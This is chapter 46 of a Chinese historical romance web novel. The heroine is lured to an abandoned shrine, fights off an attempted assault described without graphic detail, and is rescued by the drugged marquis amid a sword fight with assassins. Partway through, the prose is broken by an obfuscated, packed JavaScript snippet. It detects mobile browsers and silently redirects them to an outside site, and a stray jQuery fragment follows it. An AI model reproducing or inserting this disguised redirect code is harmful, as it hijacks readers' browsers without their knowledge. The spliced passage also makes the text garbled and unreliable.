46. 第 46 章
作品:《折卿:侯爷每天都在吃醋》 楚妍轻轻眨了眨眼,一脸无辜:“傅执年,你在说什么?我听不懂。”
楚珩更是一头雾水,只见傅执年面色惨白脚步虚浮,也顾不上追究其他,急忙上前想去扶。
“修和,你怎么样了?”
傅执年却猛地抬手挥开他的手,“回去问问你的好妹妹!”说罢便拂袖而去。
楚珩转头看向怔怔望着傅执年背影出神的楚妍,语气带着几分不耐烦,“你又背地里做了什么?”
楚妍脸涨得通红,她前脚才吩咐常书哲去收拾沈芷卿,后脚傅执年就这般动怒,难不成是哪里走漏了风声?
另一边,飞云气喘吁吁地扶住摇摇欲坠的傅执年,艰难地挪到教坊司门外。
傅执年神志已不太清明,额角渗出细密的冷汗,脚步愈发虚晃踉跄。
“侯爷,您撑得住吗?”飞云连忙架住他的胳膊。
恰在此时,一辆乌木马车从教坊司门口驶过,伴随着一缕熟悉的桂花香。
傅执年抬头看了一眼那辆马车,微微眯起眼沉声道:“飞云,跟上那辆马车。”
飞云眉头紧蹙,面露难色:“可是侯爷,您身子这般......”
“少废话,快追!”两人说话间,那辆马车已驶出数丈远。
飞云不敢耽搁,连忙扶着傅执年上马,手里马鞭一甩,马蹄朝着前方马车的方向绝尘而去。
前车之内,沈芷卿指尖紧紧攥着车壁,轻声问道:“常公子,有关于我父亲的事,为何不能在大理寺细说?”
常书哲侧过身,语气恳切,“卿卿,你父亲的案子另有内情,陆大人那里人多眼杂,怎好当众提及?”
沈芷卿指尖攥得更紧,强压下心头疑虑,“常公子说得有道理。”
常书哲在马车内正襟危坐,不敢流露半分喜色。
方才长平郡主传话,说沈芷卿已被傅执年厌弃,逐出了侯府,任由他处置。
这般天赐良机,他怎会错过?
等到了那个地方,便由不得卿卿了。
马车一路疾驰,最终在城郊一处荒芜的别院前停下。周遭杂草丛生,院墙斑驳,透着几分阴森。
“这是哪里?”沈芷卿心头警铃大作。
常书哲下车,故作温和地扶她下来,笑道:“这是我在上京城的一处旧宅,虽许久未曾打理,倒也还能住人。”
“不是说要给我看父亲的信件吗?”沈芷卿脚步顿住,不肯再往里走。
常书哲耐着性子哄劝,半扶半拉地将她引入院中,“你放心吧,都放在里面呢。”
沈芷卿半信半疑,脚步迟疑地跟着他往里走,目光不住回头望向那扇即将关上的院门,幸好出门的时候带上了防身之物。
两人越往深处走越僻静,尽头是一间久未打理的佛堂,门扉虚掩,里面供奉着几尊蒙尘的佛像,佛龛前的香火早已断绝。
“卿卿,到了。”常书哲伸手说道。
沈芷卿提起裙摆,小心翼翼地迈了进去。
下一秒,“咔哒”一声轻响,常书哲反手将木门锁死,隔绝了外界所有光亮。
“你干什么?”沈芷卿猛地转身,语气冰冷。
常书哲一步步逼近,眼底的温柔尽数褪去,最后将她逼至佛像前,伸手粗暴地挑起她的下巴:“卿卿,你还是这么天真。”
沈芷卿暗道不好,背在身后的手悄悄攥紧了那柄小刀,却依旧强作镇定,抬眼直视着他,开门见山道:“是楚王,还是二皇子?”
常书哲轻笑一声,伸手撩开她额前的碎发,语气轻佻,“都到这份上了,你还在惦记你父亲的案子?”
“楚王到底许了你什么好处?”沈芷卿语气不疾不徐,试图拖延时间。
“美人与前途,楚王全都许了。”他整个人走到了沈芷卿的面前,呼吸可闻的距离。
沈芷卿眸色一暗,“兵部尚书的下场,你没看见吗?”
常书哲逐渐失去了耐心,伸手撩开她的外衣领口,“兵部尚书那是办事不力,我可不一样。”
话音未落,他便猛地将沈芷卿往前一压,她站立不稳,踉跄着跌倒在地,肩头撞在冰冷的佛座上,疼得她蹙紧了眉。
常书哲整个人刚好倾轧在了沈芷卿的身上,眼睛里带着快要燃烧殆尽的欲望,冰凉的手顺着她的腰侧往上探。
沈芷卿猛地睁开眼,刚好对上观音像慈悲低垂的眼眸,她不再犹豫,反手抽出小刀,朝着常书哲的胸口狠狠刺去。
常书哲眼眸骤缩,反应极快地侧身翻滚,“嗤啦”一声,小刀锋利的刃口划破他的外袍,连带着里衣也撕开一道血痕,皮肉微微渗血。
沈芷卿撑着地面大口喘气,惊魂未定地盯着他,“你以为楚王是真心待你?他不过是拿你当棋子罢了!”
常书哲从地上起身,皱着眉弹了弹身上的灰尘,“棋子与否不重要,楚王交代的事,我必须办成。”说罢,便再次朝着坐在地上的沈芷卿步步逼近。
一击未中,沈芷卿双手紧握着小刀,指尖泛白,对着他厉喝:“你别过来!”
常书哲看着她颤抖不止的手,笑得轻蔑,“卿卿,你不如乖一点,等下少受点罪。”
说完他便一个箭步猛地上前,一把夺过沈芷卿手里的小刀,狠狠甩在了地上。
“当啷”一声脆响,在寂静的佛堂里格外刺耳。
他死死按住沈芷卿的手腕,俯身便寻着她香甜的唇瓣而去,呼吸里的浊气喷在沈芷卿的脸上。
“砰!”一声巨响,飞云一脚踹开木门,刺眼的天光涌入昏暗的佛堂。
傅执年身形微晃地倚在门框上,脸色依旧惨白,眼睛则死死盯着两人,声音沙哑。
“对不起,我来晚了。”
常书哲惊得浑身一僵,猛地松开按住沈芷卿的手,踉跄着后退两步。
“傅,傅执年?你怎么会在这里!”常书哲强作镇定,手悄悄摸向腰间的短刃,目光却慌乱地扫过门口。
“去死。”傅执年低喝一声,全然不顾周身翻涌的眩晕感,身形一晃便冲了上去。
他本就武功卓绝,即便现在气力不支,掌风却依然凌厉地拍向常书哲心口。
常书哲仓促抬手格挡,只觉手臂一阵发麻,整个人被震得连连后退,撞在蒙尘的佛龛上,供果滚落一地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17055909|189236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“侯爷小心!”飞云紧随其后冲入佛堂,腰间长剑出鞘,寒光一闪便朝着常书哲刺去。
飞云招式迅猛,招招直取要害,不过三两下便与常书哲缠斗在一起。
沈芷卿撑着地面缓缓起身,肩头撞过佛座的地方仍在抽痛,脚步踉跄着朝傅执年的方向挪去,“侯爷,你怎么来了?”
方才那一掌已耗尽傅执年仅剩的力气,他眼前一黑,身形晃了晃,径直跌入沈芷卿怀中。
温热的身躯靠过来,沈芷卿只觉臂弯一沉,傅执年浑身虚软,连抬手的力气都没了,唯有额角的冷汗不断渗落,浸湿了她的衣襟。
沈芷卿吓得脸色惨白,连忙稳稳托住他,扶着人就往佛堂门口退,只想先离开这里。
可刚退两步,几道黑影便骤然从门外跃入,个个身形高大,为首的是个捋着山羊胡的老者,眼神阴鸷如蛇。
“侯爷,中了合欢散你还想去哪里?”他捋着胡须,得意洋洋道。
傅执年靠在沈芷卿肩头,意识昏沉间看着那张熟悉的脸,一时竟想不起在哪见过。
沈芷卿死死盯着那名老者,瞥见他左手食指的墨玉扳指时却浑身一震。
她今日刚刚画过此人,是楚王府里的管家。
“王世昌?”沈芷卿死死盯着他,“原来是你害死了我父亲?”
王世昌脸上的笑意瞬间敛去,抬手朝身后死士递了个眼色,“这三人,一个都留不得,杀!”
数十名死士应声上前,沈芷卿手无缚鸡之力,傅执年内力尽失,唯有飞云一人能勉强支撑。
死士们蜂拥而入,沈芷卿扶着虚弱的傅执年连连后退,直到后背抵住供台棱角,尖锐的痛感传来,她才咬着牙停下脚步。
她将傅执年轻轻靠在供台上,俯身飞快捡起方才被丢在地上的小刀,对着逼近的死士,“谁敢过来,就一起死!”
王世昌勾了勾唇,“不知死活的小丫头。给我上!”
死士们一拥而上,沈芷卿握着小刀的手不住发抖,却强撑着不肯退缩。就在此时,一阵劲风掠过,飞云纵身跃至两人身前,长剑一挡,硬生生接下死士们的合力一击,“铛”的一声,震得他手臂发麻。
“沈二姑娘,你带着侯爷快走!”他回头急喝,话音未落便再次冲入人群,给沈芷卿留出了一条路。
沈芷卿不再犹豫,俯身半扶半扛着傅执年,朝着门口快步奔去。可刚到门边,王世昌便拦了上来,冷笑一声:“想跑?”
她心头一狠,猛地将手中小刀朝王世昌面门掷去,王世昌侧身避开,动作间下意识让出半个身位,就是这一瞬的空隙,沈芷卿扶着傅执年猛地冲了出去。
王世昌恼羞成怒,提脚便要去追,飞云冲了过来,抬手一掌劈在他后颈,王世昌应声倒地。
其余死士见状,纷纷转头朝飞云攻去,飞云反手将大门死死锁住,整个人扑在门上,只从门缝里露出半张染血的脸。
“快走!别回头!”飞云嘶吼着,身后死士的刀,一刀接着一刀狠狠砍在飞云后背上,皮肉撕裂的声响清晰可闻,他望着两人的背影,死死抵着门,不曾挪动半分。

